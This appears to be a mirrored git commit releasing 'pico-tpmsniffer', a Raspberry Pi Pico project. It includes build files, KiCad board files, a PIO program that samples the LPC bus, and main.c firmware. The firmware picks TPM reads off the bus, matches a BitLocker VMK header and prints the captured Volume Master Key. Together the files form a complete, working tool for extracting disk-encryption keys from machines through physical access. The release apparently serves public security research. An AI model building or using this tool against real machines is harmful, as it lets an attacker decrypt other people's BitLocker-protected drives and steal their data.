mirror of
https://github.com/stacksmashing/pico-tpmsniffer.git
synced 2026-01-30 18:28:38 +03:00
Initial public release
This commit is contained in:
23
CMakeLists.txt
Normal file
23
CMakeLists.txt
Normal file
@@ -0,0 +1,23 @@
|
||||
cmake_minimum_required(VERSION 3.13)
|
||||
# initialize the SDK based on PICO_SDK_PATH
|
||||
# note: this must happen before project()
|
||||
include(pico_sdk_import.cmake)
|
||||
|
||||
project(tpm_sniffer)
|
||||
|
||||
pico_sdk_init()
|
||||
|
||||
add_executable(tpm_sniffer)
|
||||
|
||||
pico_generate_pio_header(tpm_sniffer ${CMAKE_CURRENT_LIST_DIR}/lpc_sniffer.pio)
|
||||
|
||||
target_sources(tpm_sniffer PRIVATE main.c)
|
||||
|
||||
target_link_libraries(tpm_sniffer PRIVATE
|
||||
pico_stdlib
|
||||
hardware_pio
|
||||
hardware_flash
|
||||
pico_multicore
|
||||
)
|
||||
pico_enable_stdio_usb(tpm_sniffer 1)
|
||||
pico_add_extra_outputs(tpm_sniffer)
|
||||
15
LICENSE
Normal file
15
LICENSE
Normal file
@@ -0,0 +1,15 @@
|
||||
Pico TPMSniffer - A Raspberry-Pi Pico based tool for sniffing LPC TPMs.
|
||||
|
||||
Copyright (C) 2024 Thomas 'stacksmashing' Roth - code@stacksmashing.net
|
||||
|
||||
This program is free software: you can redistribute it and/or modify
|
||||
it under the terms of the GNU General Public License as published by
|
||||
the Free Software Foundation, version 3 of the License.
|
||||
|
||||
This program is distributed in the hope that it will be useful,
|
||||
but WITHOUT ANY WARRANTY; without even the implied warranty of
|
||||
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
|
||||
GNU General Public License for more details.
|
||||
|
||||
You should have received a copy of the GNU General Public License
|
||||
along with this program. If not, see <https://www.gnu.org/licenses/>.
|
||||
13739
hardware/tpmsniffer.kicad_pcb
Normal file
13739
hardware/tpmsniffer.kicad_pcb
Normal file
File diff suppressed because it is too large
Load Diff
77
hardware/tpmsniffer.kicad_prl
Normal file
77
hardware/tpmsniffer.kicad_prl
Normal file
@@ -0,0 +1,77 @@
|
||||
{
|
||||
"board": {
|
||||
"active_layer": 37,
|
||||
"active_layer_preset": "All Layers",
|
||||
"auto_track_width": true,
|
||||
"hidden_netclasses": [],
|
||||
"hidden_nets": [],
|
||||
"high_contrast_mode": 0,
|
||||
"net_color_mode": 1,
|
||||
"opacity": {
|
||||
"images": 0.6,
|
||||
"pads": 1.0,
|
||||
"tracks": 1.0,
|
||||
"vias": 1.0,
|
||||
"zones": 0.6
|
||||
},
|
||||
"selection_filter": {
|
||||
"dimensions": true,
|
||||
"footprints": true,
|
||||
"graphics": true,
|
||||
"keepouts": true,
|
||||
"lockedItems": false,
|
||||
"otherItems": true,
|
||||
"pads": true,
|
||||
"text": true,
|
||||
"tracks": true,
|
||||
"vias": true,
|
||||
"zones": true
|
||||
},
|
||||
"visible_items": [
|
||||
0,
|
||||
1,
|
||||
2,
|
||||
3,
|
||||
4,
|
||||
5,
|
||||
8,
|
||||
9,
|
||||
10,
|
||||
11,
|
||||
12,
|
||||
13,
|
||||
15,
|
||||
16,
|
||||
17,
|
||||
18,
|
||||
19,
|
||||
20,
|
||||
21,
|
||||
22,
|
||||
23,
|
||||
24,
|
||||
25,
|
||||
26,
|
||||
27,
|
||||
28,
|
||||
29,
|
||||
30,
|
||||
32,
|
||||
33,
|
||||
34,
|
||||
35,
|
||||
36,
|
||||
39,
|
||||
40
|
||||
],
|
||||
"visible_layers": "fffffff_ffffffff",
|
||||
"zone_display_mode": 0
|
||||
},
|
||||
"meta": {
|
||||
"filename": "tpmsniffer.kicad_prl",
|
||||
"version": 3
|
||||
},
|
||||
"project": {
|
||||
"files": []
|
||||
}
|
||||
}
|
||||
477
hardware/tpmsniffer.kicad_pro
Normal file
477
hardware/tpmsniffer.kicad_pro
Normal file
@@ -0,0 +1,477 @@
|
||||
{
|
||||
"board": {
|
||||
"3dviewports": [],
|
||||
"design_settings": {
|
||||
"defaults": {
|
||||
"board_outline_line_width": 0.09999999999999999,
|
||||
"copper_line_width": 0.19999999999999998,
|
||||
"copper_text_italic": false,
|
||||
"copper_text_size_h": 1.5,
|
||||
"copper_text_size_v": 1.5,
|
||||
"copper_text_thickness": 0.3,
|
||||
"copper_text_upright": false,
|
||||
"courtyard_line_width": 0.049999999999999996,
|
||||
"dimension_precision": 4,
|
||||
"dimension_units": 3,
|
||||
"dimensions": {
|
||||
"arrow_length": 1270000,
|
||||
"extension_offset": 500000,
|
||||
"keep_text_aligned": true,
|
||||
"suppress_zeroes": false,
|
||||
"text_position": 0,
|
||||
"units_format": 1
|
||||
},
|
||||
"fab_line_width": 0.09999999999999999,
|
||||
"fab_text_italic": false,
|
||||
"fab_text_size_h": 1.0,
|
||||
"fab_text_size_v": 1.0,
|
||||
"fab_text_thickness": 0.15,
|
||||
"fab_text_upright": false,
|
||||
"other_line_width": 0.15,
|
||||
"other_text_italic": false,
|
||||
"other_text_size_h": 1.0,
|
||||
"other_text_size_v": 1.0,
|
||||
"other_text_thickness": 0.15,
|
||||
"other_text_upright": false,
|
||||
"pads": {
|
||||
"drill": 0.762,
|
||||
"height": 1.524,
|
||||
"width": 1.524
|
||||
},
|
||||
"silk_line_width": 0.15,
|
||||
"silk_text_italic": false,
|
||||
"silk_text_size_h": 1.0,
|
||||
"silk_text_size_v": 1.0,
|
||||
"silk_text_thickness": 0.15,
|
||||
"silk_text_upright": false,
|
||||
"zones": {
|
||||
"min_clearance": 0.5
|
||||
}
|
||||
},
|
||||
"diff_pair_dimensions": [],
|
||||
"drc_exclusions": [],
|
||||
"meta": {
|
||||
"version": 2
|
||||
},
|
||||
"rule_severities": {
|
||||
"annular_width": "error",
|
||||
"clearance": "error",
|
||||
"connection_width": "warning",
|
||||
"copper_edge_clearance": "error",
|
||||
"copper_sliver": "warning",
|
||||
"courtyards_overlap": "error",
|
||||
"diff_pair_gap_out_of_range": "error",
|
||||
"diff_pair_uncoupled_length_too_long": "error",
|
||||
"drill_out_of_range": "error",
|
||||
"duplicate_footprints": "warning",
|
||||
"extra_footprint": "warning",
|
||||
"footprint": "error",
|
||||
"footprint_type_mismatch": "ignore",
|
||||
"hole_clearance": "error",
|
||||
"hole_near_hole": "error",
|
||||
"invalid_outline": "error",
|
||||
"isolated_copper": "warning",
|
||||
"item_on_disabled_layer": "error",
|
||||
"items_not_allowed": "error",
|
||||
"length_out_of_range": "error",
|
||||
"lib_footprint_issues": "warning",
|
||||
"lib_footprint_mismatch": "warning",
|
||||
"malformed_courtyard": "error",
|
||||
"microvia_drill_out_of_range": "error",
|
||||
"missing_courtyard": "ignore",
|
||||
"missing_footprint": "warning",
|
||||
"net_conflict": "warning",
|
||||
"npth_inside_courtyard": "ignore",
|
||||
"padstack": "warning",
|
||||
"pth_inside_courtyard": "ignore",
|
||||
"shorting_items": "error",
|
||||
"silk_edge_clearance": "warning",
|
||||
"silk_over_copper": "warning",
|
||||
"silk_overlap": "warning",
|
||||
"skew_out_of_range": "error",
|
||||
"solder_mask_bridge": "error",
|
||||
"starved_thermal": "error",
|
||||
"text_height": "warning",
|
||||
"text_thickness": "warning",
|
||||
"through_hole_pad_without_hole": "error",
|
||||
"too_many_vias": "error",
|
||||
"track_dangling": "warning",
|
||||
"track_width": "error",
|
||||
"tracks_crossing": "error",
|
||||
"unconnected_items": "error",
|
||||
"unresolved_variable": "error",
|
||||
"via_dangling": "warning",
|
||||
"zones_intersect": "error"
|
||||
},
|
||||
"rules": {
|
||||
"max_error": 0.005,
|
||||
"min_clearance": 0.0,
|
||||
"min_connection": 0.0,
|
||||
"min_copper_edge_clearance": 0.0,
|
||||
"min_hole_clearance": 0.25,
|
||||
"min_hole_to_hole": 0.25,
|
||||
"min_microvia_diameter": 0.19999999999999998,
|
||||
"min_microvia_drill": 0.09999999999999999,
|
||||
"min_resolved_spokes": 2,
|
||||
"min_silk_clearance": 0.0,
|
||||
"min_text_height": 0.7999999999999999,
|
||||
"min_text_thickness": 0.08,
|
||||
"min_through_hole_diameter": 0.3,
|
||||
"min_track_width": 0.0,
|
||||
"min_via_annular_width": 0.09999999999999999,
|
||||
"min_via_diameter": 0.5,
|
||||
"solder_mask_clearance": 0.0,
|
||||
"solder_mask_min_width": 0.0,
|
||||
"solder_mask_to_copper_clearance": 0.0,
|
||||
"use_height_for_length_calcs": true
|
||||
},
|
||||
"teardrop_options": [
|
||||
{
|
||||
"td_allow_use_two_tracks": true,
|
||||
"td_curve_segcount": 5,
|
||||
"td_on_pad_in_zone": false,
|
||||
"td_onpadsmd": true,
|
||||
"td_onroundshapesonly": false,
|
||||
"td_ontrackend": false,
|
||||
"td_onviapad": true
|
||||
}
|
||||
],
|
||||
"teardrop_parameters": [
|
||||
{
|
||||
"td_curve_segcount": 0,
|
||||
"td_height_ratio": 1.0,
|
||||
"td_length_ratio": 0.5,
|
||||
"td_maxheight": 2.0,
|
||||
"td_maxlen": 1.0,
|
||||
"td_target_name": "td_round_shape",
|
||||
"td_width_to_size_filter_ratio": 0.9
|
||||
},
|
||||
{
|
||||
"td_curve_segcount": 0,
|
||||
"td_height_ratio": 1.0,
|
||||
"td_length_ratio": 0.5,
|
||||
"td_maxheight": 2.0,
|
||||
"td_maxlen": 1.0,
|
||||
"td_target_name": "td_rect_shape",
|
||||
"td_width_to_size_filter_ratio": 0.9
|
||||
},
|
||||
{
|
||||
"td_curve_segcount": 0,
|
||||
"td_height_ratio": 1.0,
|
||||
"td_length_ratio": 0.5,
|
||||
"td_maxheight": 2.0,
|
||||
"td_maxlen": 1.0,
|
||||
"td_target_name": "td_track_end",
|
||||
"td_width_to_size_filter_ratio": 0.9
|
||||
}
|
||||
],
|
||||
"track_widths": [],
|
||||
"via_dimensions": [],
|
||||
"zones_allow_external_fillets": false
|
||||
},
|
||||
"layer_presets": [],
|
||||
"viewports": []
|
||||
},
|
||||
"boards": [],
|
||||
"cvpcb": {
|
||||
"equivalence_files": []
|
||||
},
|
||||
"erc": {
|
||||
"erc_exclusions": [],
|
||||
"meta": {
|
||||
"version": 0
|
||||
},
|
||||
"pin_map": [
|
||||
[
|
||||
0,
|
||||
0,
|
||||
0,
|
||||
0,
|
||||
0,
|
||||
0,
|
||||
1,
|
||||
0,
|
||||
0,
|
||||
0,
|
||||
0,
|
||||
2
|
||||
],
|
||||
[
|
||||
0,
|
||||
2,
|
||||
0,
|
||||
1,
|
||||
0,
|
||||
0,
|
||||
1,
|
||||
0,
|
||||
2,
|
||||
2,
|
||||
2,
|
||||
2
|
||||
],
|
||||
[
|
||||
0,
|
||||
0,
|
||||
0,
|
||||
0,
|
||||
0,
|
||||
0,
|
||||
1,
|
||||
0,
|
||||
1,
|
||||
0,
|
||||
1,
|
||||
2
|
||||
],
|
||||
[
|
||||
0,
|
||||
1,
|
||||
0,
|
||||
0,
|
||||
0,
|
||||
0,
|
||||
1,
|
||||
1,
|
||||
2,
|
||||
1,
|
||||
1,
|
||||
2
|
||||
],
|
||||
[
|
||||
0,
|
||||
0,
|
||||
0,
|
||||
0,
|
||||
0,
|
||||
0,
|
||||
1,
|
||||
0,
|
||||
0,
|
||||
0,
|
||||
0,
|
||||
2
|
||||
],
|
||||
[
|
||||
0,
|
||||
0,
|
||||
0,
|
||||
0,
|
||||
0,
|
||||
0,
|
||||
0,
|
||||
0,
|
||||
0,
|
||||
0,
|
||||
0,
|
||||
2
|
||||
],
|
||||
[
|
||||
1,
|
||||
1,
|
||||
1,
|
||||
1,
|
||||
1,
|
||||
0,
|
||||
1,
|
||||
1,
|
||||
1,
|
||||
1,
|
||||
1,
|
||||
2
|
||||
],
|
||||
[
|
||||
0,
|
||||
0,
|
||||
0,
|
||||
1,
|
||||
0,
|
||||
0,
|
||||
1,
|
||||
0,
|
||||
0,
|
||||
0,
|
||||
0,
|
||||
2
|
||||
],
|
||||
[
|
||||
0,
|
||||
2,
|
||||
1,
|
||||
2,
|
||||
0,
|
||||
0,
|
||||
1,
|
||||
0,
|
||||
2,
|
||||
2,
|
||||
2,
|
||||
2
|
||||
],
|
||||
[
|
||||
0,
|
||||
2,
|
||||
0,
|
||||
1,
|
||||
0,
|
||||
0,
|
||||
1,
|
||||
0,
|
||||
2,
|
||||
0,
|
||||
0,
|
||||
2
|
||||
],
|
||||
[
|
||||
0,
|
||||
2,
|
||||
1,
|
||||
1,
|
||||
0,
|
||||
0,
|
||||
1,
|
||||
0,
|
||||
2,
|
||||
0,
|
||||
0,
|
||||
2
|
||||
],
|
||||
[
|
||||
2,
|
||||
2,
|
||||
2,
|
||||
2,
|
||||
2,
|
||||
2,
|
||||
2,
|
||||
2,
|
||||
2,
|
||||
2,
|
||||
2,
|
||||
2
|
||||
]
|
||||
],
|
||||
"rule_severities": {
|
||||
"bus_definition_conflict": "error",
|
||||
"bus_entry_needed": "error",
|
||||
"bus_to_bus_conflict": "error",
|
||||
"bus_to_net_conflict": "error",
|
||||
"conflicting_netclasses": "error",
|
||||
"different_unit_footprint": "error",
|
||||
"different_unit_net": "error",
|
||||
"duplicate_reference": "error",
|
||||
"duplicate_sheet_names": "error",
|
||||
"endpoint_off_grid": "warning",
|
||||
"extra_units": "error",
|
||||
"global_label_dangling": "warning",
|
||||
"hier_label_mismatch": "error",
|
||||
"label_dangling": "error",
|
||||
"lib_symbol_issues": "warning",
|
||||
"missing_bidi_pin": "warning",
|
||||
"missing_input_pin": "warning",
|
||||
"missing_power_pin": "error",
|
||||
"missing_unit": "warning",
|
||||
"multiple_net_names": "warning",
|
||||
"net_not_bus_member": "warning",
|
||||
"no_connect_connected": "warning",
|
||||
"no_connect_dangling": "warning",
|
||||
"pin_not_connected": "error",
|
||||
"pin_not_driven": "error",
|
||||
"pin_to_pin": "error",
|
||||
"power_pin_not_driven": "error",
|
||||
"similar_labels": "warning",
|
||||
"simulation_model_issue": "error",
|
||||
"unannotated": "error",
|
||||
"unit_value_mismatch": "error",
|
||||
"unresolved_variable": "error",
|
||||
"wire_dangling": "error"
|
||||
}
|
||||
},
|
||||
"libraries": {
|
||||
"pinned_footprint_libs": [],
|
||||
"pinned_symbol_libs": []
|
||||
},
|
||||
"meta": {
|
||||
"filename": "tpmsniffer.kicad_pro",
|
||||
"version": 1
|
||||
},
|
||||
"net_settings": {
|
||||
"classes": [
|
||||
{
|
||||
"bus_width": 12,
|
||||
"clearance": 0.2,
|
||||
"diff_pair_gap": 0.25,
|
||||
"diff_pair_via_gap": 0.25,
|
||||
"diff_pair_width": 0.2,
|
||||
"line_style": 0,
|
||||
"microvia_diameter": 0.3,
|
||||
"microvia_drill": 0.1,
|
||||
"name": "Default",
|
||||
"pcb_color": "rgba(0, 0, 0, 0.000)",
|
||||
"schematic_color": "rgba(0, 0, 0, 0.000)",
|
||||
"track_width": 0.25,
|
||||
"via_diameter": 0.8,
|
||||
"via_drill": 0.4,
|
||||
"wire_width": 6
|
||||
}
|
||||
],
|
||||
"meta": {
|
||||
"version": 3
|
||||
},
|
||||
"net_colors": null,
|
||||
"netclass_assignments": null,
|
||||
"netclass_patterns": []
|
||||
},
|
||||
"pcbnew": {
|
||||
"last_paths": {
|
||||
"gencad": "",
|
||||
"idf": "",
|
||||
"netlist": "",
|
||||
"specctra_dsn": "",
|
||||
"step": "",
|
||||
"vrml": ""
|
||||
},
|
||||
"page_layout_descr_file": ""
|
||||
},
|
||||
"schematic": {
|
||||
"annotate_start_num": 0,
|
||||
"drawing": {
|
||||
"dashed_lines_dash_length_ratio": 12.0,
|
||||
"dashed_lines_gap_length_ratio": 3.0,
|
||||
"default_line_thickness": 6.0,
|
||||
"default_text_size": 50.0,
|
||||
"field_names": [],
|
||||
"intersheets_ref_own_page": false,
|
||||
"intersheets_ref_prefix": "",
|
||||
"intersheets_ref_short": false,
|
||||
"intersheets_ref_show": false,
|
||||
"intersheets_ref_suffix": "",
|
||||
"junction_size_choice": 3,
|
||||
"label_size_ratio": 0.375,
|
||||
"pin_symbol_size": 25.0,
|
||||
"text_offset_ratio": 0.15
|
||||
},
|
||||
"legacy_lib_dir": "",
|
||||
"legacy_lib_list": [],
|
||||
"meta": {
|
||||
"version": 1
|
||||
},
|
||||
"net_format_name": "",
|
||||
"page_layout_descr_file": "",
|
||||
"plot_directory": "",
|
||||
"spice_current_sheet_as_root": false,
|
||||
"spice_external_command": "spice \"%I\"",
|
||||
"spice_model_current_sheet_as_root": true,
|
||||
"spice_save_all_currents": false,
|
||||
"spice_save_all_voltages": false,
|
||||
"subpart_first_id": 65,
|
||||
"subpart_id_separator": 0
|
||||
},
|
||||
"sheets": [
|
||||
[
|
||||
"692c4062-35b7-4554-aa43-8ed8c0452638",
|
||||
""
|
||||
]
|
||||
],
|
||||
"text_variables": {}
|
||||
}
|
||||
1187
hardware/tpmsniffer.kicad_sch
Normal file
1187
hardware/tpmsniffer.kicad_sch
Normal file
File diff suppressed because it is too large
Load Diff
66
lpc_sniffer.pio
Normal file
66
lpc_sniffer.pio
Normal file
@@ -0,0 +1,66 @@
|
||||
; All rights reserved. Copyright by Thomas Roth. code@stacksmashing.net
|
||||
|
||||
.program lpc_sniffer
|
||||
.side_set 1 opt
|
||||
|
||||
entry:
|
||||
; Wait for LFRAME (ABSOLUTE pin 0) to go low
|
||||
SET X, 15 side 0
|
||||
WAIT 1 GPIO 5
|
||||
WAIT 0 GPIO 5; ~0ns
|
||||
NOP
|
||||
NOP
|
||||
NOP
|
||||
NOP
|
||||
read_target:
|
||||
IN PINS 4 side 1; starts at ~20ns | read 0/40ns
|
||||
NOP side 1; first: 10ns | 30ns second round
|
||||
NOP side 0 [3]; read 10ns
|
||||
JMP X-- read_target [1] side 0 ; read 20ns
|
||||
PUSH
|
||||
|
||||
JMP entry
|
||||
|
||||
% c-sdk {
|
||||
static inline void lpc_sniffer_program_init(PIO pio, uint sm, uint offset, uint base_pin, uint debug_pin) {
|
||||
pio_sm_config c = lpc_sniffer_program_get_default_config(offset);
|
||||
|
||||
// We have no out pins
|
||||
// sm_config_set_out_pins(&c, base_pin, 1);
|
||||
|
||||
//pio_gpio_init(pio, 0);
|
||||
for(int i=0; i < 4; i++) {
|
||||
pio_gpio_init(pio, base_pin + i);
|
||||
}
|
||||
//hw_set_bits(&pio->input_sync_bypass, 1);
|
||||
|
||||
// frame pin
|
||||
pio_gpio_init(pio, 0);
|
||||
pio_gpio_init(pio, 5);
|
||||
|
||||
pio_gpio_init(pio, debug_pin);
|
||||
|
||||
// Set all 4 pins to input (false = input)
|
||||
pio_sm_set_consecutive_pindirs(pio, sm, 0, 1, false);
|
||||
pio_sm_set_consecutive_pindirs(pio, sm, base_pin, 4, false);
|
||||
sm_config_set_in_pins(&c, base_pin);
|
||||
|
||||
sm_config_set_sideset_pins(&c, debug_pin);
|
||||
pio_sm_set_consecutive_pindirs(pio, sm, debug_pin, 1, true);
|
||||
|
||||
sm_config_set_in_shift (&c, false, true, 32);
|
||||
|
||||
|
||||
// Chain FIFOs together as we will *only* receive.
|
||||
// This will ensure we will not block.
|
||||
sm_config_set_fifo_join(&c, PIO_FIFO_JOIN_RX);
|
||||
|
||||
float div = (float)clock_get_hz(clk_sys) / 200000000.0;
|
||||
sm_config_set_clkdiv(&c, div);
|
||||
|
||||
// Load our configuration, and jump to the start of the program
|
||||
pio_sm_init(pio, sm, offset, &c);
|
||||
// Set the state machine running
|
||||
pio_sm_set_enabled(pio, sm, true);
|
||||
}
|
||||
%}
|
||||
179
main.c
Normal file
179
main.c
Normal file
@@ -0,0 +1,179 @@
|
||||
#include <stdint.h>
|
||||
#include <stdlib.h>
|
||||
#include <stdio.h>
|
||||
#include <stdbool.h>
|
||||
#include <string.h>
|
||||
#include "pico/stdlib.h"
|
||||
#include "hardware/pio.h"
|
||||
#include "hardware/clocks.h"
|
||||
#include "pico/multicore.h"
|
||||
|
||||
// Our assembled program:
|
||||
#include "lpc_sniffer.pio.h"
|
||||
|
||||
|
||||
#include "hardware/flash.h"
|
||||
|
||||
unsigned char reverse(unsigned char b) {
|
||||
b = (b & 0xF0) >> 4 | (b & 0x0F) << 4;
|
||||
b = (b & 0xCC) >> 2 | (b & 0x33) << 2;
|
||||
b = (b & 0xAA) >> 1 | (b & 0x55) << 1;
|
||||
return b;
|
||||
}
|
||||
|
||||
static inline char reverse_nibbles(char c) {
|
||||
return ((c<<4) & 0xF0) | ((c >> 4) & 0xFF);
|
||||
}
|
||||
|
||||
static inline uint32_t fix_bit_format(uint32_t input) {
|
||||
char a1 = (input >> 24) & 0xFF;
|
||||
char a2 = (input >> 16) & 0xFF;
|
||||
char a3 = (input >> 8) & 0xFF;
|
||||
char a4 = input & 0xFF;
|
||||
return (a1 << 24) | (a2 << 16) | (a3 << 8) | a4;
|
||||
}
|
||||
|
||||
enum state {
|
||||
STATE_IDLE,
|
||||
STATE_READING
|
||||
};
|
||||
|
||||
static inline uint32_t fetch(PIO pio, uint sm) {
|
||||
uint32_t result_raw = pio_sm_get_blocking(pio, sm);
|
||||
uint32_t result = fix_bit_format(result_raw);
|
||||
return result;
|
||||
}
|
||||
|
||||
static inline uint32_t fetch_message(PIO pio, uint sm) {
|
||||
while (1) {
|
||||
uint32_t result = fetch(pio, sm);
|
||||
// Only act on 0b0101 header (TPM comms)
|
||||
if((result & 0xF0000000) != 0x50000000) {
|
||||
continue;
|
||||
}
|
||||
|
||||
// Detect if read or write
|
||||
bool is_write = false;
|
||||
if((result & 0x02000000) == 0x02000000) {
|
||||
is_write = true;
|
||||
} else if((result & 0x0F000000) != 0) {
|
||||
continue;
|
||||
}
|
||||
|
||||
// Extract address
|
||||
uint16_t address = (result >> 8) & 0xFFFF;
|
||||
|
||||
// Writes are easy
|
||||
if(is_write) {
|
||||
// Data is encoded LSB first, so we reverse these bits
|
||||
uint8_t data = reverse_nibbles(result & 0xFF);
|
||||
// printf("Write 0x%04X Data 0x%02X\n", address, data & 0xFF);
|
||||
// ignore the next data part
|
||||
fetch(pio, sm);
|
||||
return 0x02000000 | address << 8 | data;
|
||||
} else {
|
||||
// Reads are more involved
|
||||
// First we skip the tar (1 byte/2 cycles), so we just start at the next result byte
|
||||
// next we iterate over the sync til it's 0.
|
||||
uint32_t result2 = fetch(pio, sm);
|
||||
|
||||
|
||||
// Start by iterating over the sync bit. We wait til this is 0
|
||||
unsigned int i;
|
||||
// printf("Result: %08X\n", result2);
|
||||
for(i = 7; i > 1; i--) {
|
||||
// printf("%08X %d\n", (result2 >> (i*4)) & 0xF, i);
|
||||
if(((result2 >> (i*4)) & 0xF) == 0x0) {
|
||||
// Sync done
|
||||
break;
|
||||
}
|
||||
}
|
||||
|
||||
// i is 1 here, even when result 2 is 0xF0001FFF
|
||||
uint8_t data = reverse_nibbles((result2 >> ((i-2)*4)) & 0xFF );
|
||||
return address << 8 | data;
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
static const char vmk_header[] = {
|
||||
0x2c, 0x00, 0x00, 0x0, 0x01, 0x00, 0x00, 0x00, 0x03, 0x20, 0x00, 0x00
|
||||
};
|
||||
|
||||
#define MAXCOUNT 512
|
||||
uint32_t buf[MAXCOUNT];
|
||||
|
||||
|
||||
char message_buffer[4096*2];
|
||||
volatile size_t msg_buffer_ptr = 0;
|
||||
|
||||
void core1_entry() {
|
||||
// 12 byte header + 32 byte data
|
||||
char msg_buffer[12 + 32];
|
||||
memset(msg_buffer, 0, 44);
|
||||
|
||||
PIO pio = pio0;
|
||||
uint offset = pio_add_program(pio, &lpc_sniffer_program);
|
||||
uint sm = pio_claim_unused_sm(pio, true);
|
||||
lpc_sniffer_program_init(pio, sm, offset, 1, 10);
|
||||
size_t bufpos = 0;
|
||||
|
||||
while(1) {
|
||||
uint32_t message = fetch_message(pio, sm);
|
||||
// It's a read of the right address
|
||||
if((message & 0x0f00ff00) == 0x00002400) {
|
||||
char message_char = message & 0xff;
|
||||
message_buffer[msg_buffer_ptr++] = message_char;
|
||||
|
||||
if(message_char == 0x2c) {
|
||||
multicore_fifo_push_blocking(msg_buffer_ptr);
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
|
||||
int main() {
|
||||
set_sys_clock_khz(270000, true); // 158us
|
||||
stdio_init_all();
|
||||
sleep_ms(5000);
|
||||
|
||||
puts(" _ ");
|
||||
puts("|_) o _ _ ");
|
||||
puts("| | (_ (_) ");
|
||||
puts("");
|
||||
puts("88P'888'Y88 888 88e e e dP\"8 ,e, dP,e, dP,e, ");
|
||||
puts("P' 888 'Y 888 888D d8b d8b C8b Y 888 8e \" 8b \" 8b \" ,e e, 888,8, ");
|
||||
puts(" 888 888 88\" e Y8b Y8b Y8b 888 88b 888 888888 888888 d88 88b 888 \" ");
|
||||
puts(" 888 888 d8b Y8b Y8b b Y8D 888 888 888 888 888 888 , 888 ");
|
||||
puts(" 888 888 d888b Y8b Y8b 8edP 888 888 888 888 888 \"YeeP\" 888 ");
|
||||
puts(" - by stacksmashing");
|
||||
puts("");
|
||||
|
||||
printf("[+] Ready to sniff!\n");
|
||||
|
||||
multicore_launch_core1(core1_entry);
|
||||
|
||||
while(1) {
|
||||
uint32_t popped = multicore_fifo_pop_blocking();
|
||||
|
||||
// Wait til the msg_buffer_ptr is full
|
||||
while((msg_buffer_ptr - popped) < 44) {
|
||||
}
|
||||
|
||||
if(memcmp(message_buffer + popped, vmk_header, 5) == 0) {
|
||||
printf("[+] Bitlocker Volume Master Key found:\n");
|
||||
|
||||
for(int i=0; i < 2; i++) {
|
||||
printf("[+] ");
|
||||
for(int j=0; j < 2; j++) {
|
||||
for(int k=0; k < 8; k++) {
|
||||
printf("%02x ", message_buffer[popped + 12 + (i * 16) + (j * 8) + k]);
|
||||
}
|
||||
printf(" ");
|
||||
}
|
||||
puts("");
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
73
pico_sdk_import.cmake
Normal file
73
pico_sdk_import.cmake
Normal file
@@ -0,0 +1,73 @@
|
||||
# This is a copy of <PICO_SDK_PATH>/external/pico_sdk_import.cmake
|
||||
|
||||
# This can be dropped into an external project to help locate this SDK
|
||||
# It should be include()ed prior to project()
|
||||
|
||||
if (DEFINED ENV{PICO_SDK_PATH} AND (NOT PICO_SDK_PATH))
|
||||
set(PICO_SDK_PATH $ENV{PICO_SDK_PATH})
|
||||
message("Using PICO_SDK_PATH from environment ('${PICO_SDK_PATH}')")
|
||||
endif ()
|
||||
|
||||
if (DEFINED ENV{PICO_SDK_FETCH_FROM_GIT} AND (NOT PICO_SDK_FETCH_FROM_GIT))
|
||||
set(PICO_SDK_FETCH_FROM_GIT $ENV{PICO_SDK_FETCH_FROM_GIT})
|
||||
message("Using PICO_SDK_FETCH_FROM_GIT from environment ('${PICO_SDK_FETCH_FROM_GIT}')")
|
||||
endif ()
|
||||
|
||||
if (DEFINED ENV{PICO_SDK_FETCH_FROM_GIT_PATH} AND (NOT PICO_SDK_FETCH_FROM_GIT_PATH))
|
||||
set(PICO_SDK_FETCH_FROM_GIT_PATH $ENV{PICO_SDK_FETCH_FROM_GIT_PATH})
|
||||
message("Using PICO_SDK_FETCH_FROM_GIT_PATH from environment ('${PICO_SDK_FETCH_FROM_GIT_PATH}')")
|
||||
endif ()
|
||||
|
||||
set(PICO_SDK_PATH "${PICO_SDK_PATH}" CACHE PATH "Path to the Raspberry Pi Pico SDK")
|
||||
set(PICO_SDK_FETCH_FROM_GIT "${PICO_SDK_FETCH_FROM_GIT}" CACHE BOOL "Set to ON to fetch copy of SDK from git if not otherwise locatable")
|
||||
set(PICO_SDK_FETCH_FROM_GIT_PATH "${PICO_SDK_FETCH_FROM_GIT_PATH}" CACHE FILEPATH "location to download SDK")
|
||||
|
||||
if (NOT PICO_SDK_PATH)
|
||||
if (PICO_SDK_FETCH_FROM_GIT)
|
||||
include(FetchContent)
|
||||
set(FETCHCONTENT_BASE_DIR_SAVE ${FETCHCONTENT_BASE_DIR})
|
||||
if (PICO_SDK_FETCH_FROM_GIT_PATH)
|
||||
get_filename_component(FETCHCONTENT_BASE_DIR "${PICO_SDK_FETCH_FROM_GIT_PATH}" REALPATH BASE_DIR "${CMAKE_SOURCE_DIR}")
|
||||
endif ()
|
||||
# GIT_SUBMODULES_RECURSE was added in 3.17
|
||||
if (${CMAKE_VERSION} VERSION_GREATER_EQUAL "3.17.0")
|
||||
FetchContent_Declare(
|
||||
pico_sdk
|
||||
GIT_REPOSITORY https://github.com/raspberrypi/pico-sdk
|
||||
GIT_TAG master
|
||||
GIT_SUBMODULES_RECURSE FALSE
|
||||
)
|
||||
else ()
|
||||
FetchContent_Declare(
|
||||
pico_sdk
|
||||
GIT_REPOSITORY https://github.com/raspberrypi/pico-sdk
|
||||
GIT_TAG master
|
||||
)
|
||||
endif ()
|
||||
|
||||
if (NOT pico_sdk)
|
||||
message("Downloading Raspberry Pi Pico SDK")
|
||||
FetchContent_Populate(pico_sdk)
|
||||
set(PICO_SDK_PATH ${pico_sdk_SOURCE_DIR})
|
||||
endif ()
|
||||
set(FETCHCONTENT_BASE_DIR ${FETCHCONTENT_BASE_DIR_SAVE})
|
||||
else ()
|
||||
message(FATAL_ERROR
|
||||
"SDK location was not specified. Please set PICO_SDK_PATH or set PICO_SDK_FETCH_FROM_GIT to on to fetch from git."
|
||||
)
|
||||
endif ()
|
||||
endif ()
|
||||
|
||||
get_filename_component(PICO_SDK_PATH "${PICO_SDK_PATH}" REALPATH BASE_DIR "${CMAKE_BINARY_DIR}")
|
||||
if (NOT EXISTS ${PICO_SDK_PATH})
|
||||
message(FATAL_ERROR "Directory '${PICO_SDK_PATH}' not found")
|
||||
endif ()
|
||||
|
||||
set(PICO_SDK_INIT_CMAKE_FILE ${PICO_SDK_PATH}/pico_sdk_init.cmake)
|
||||
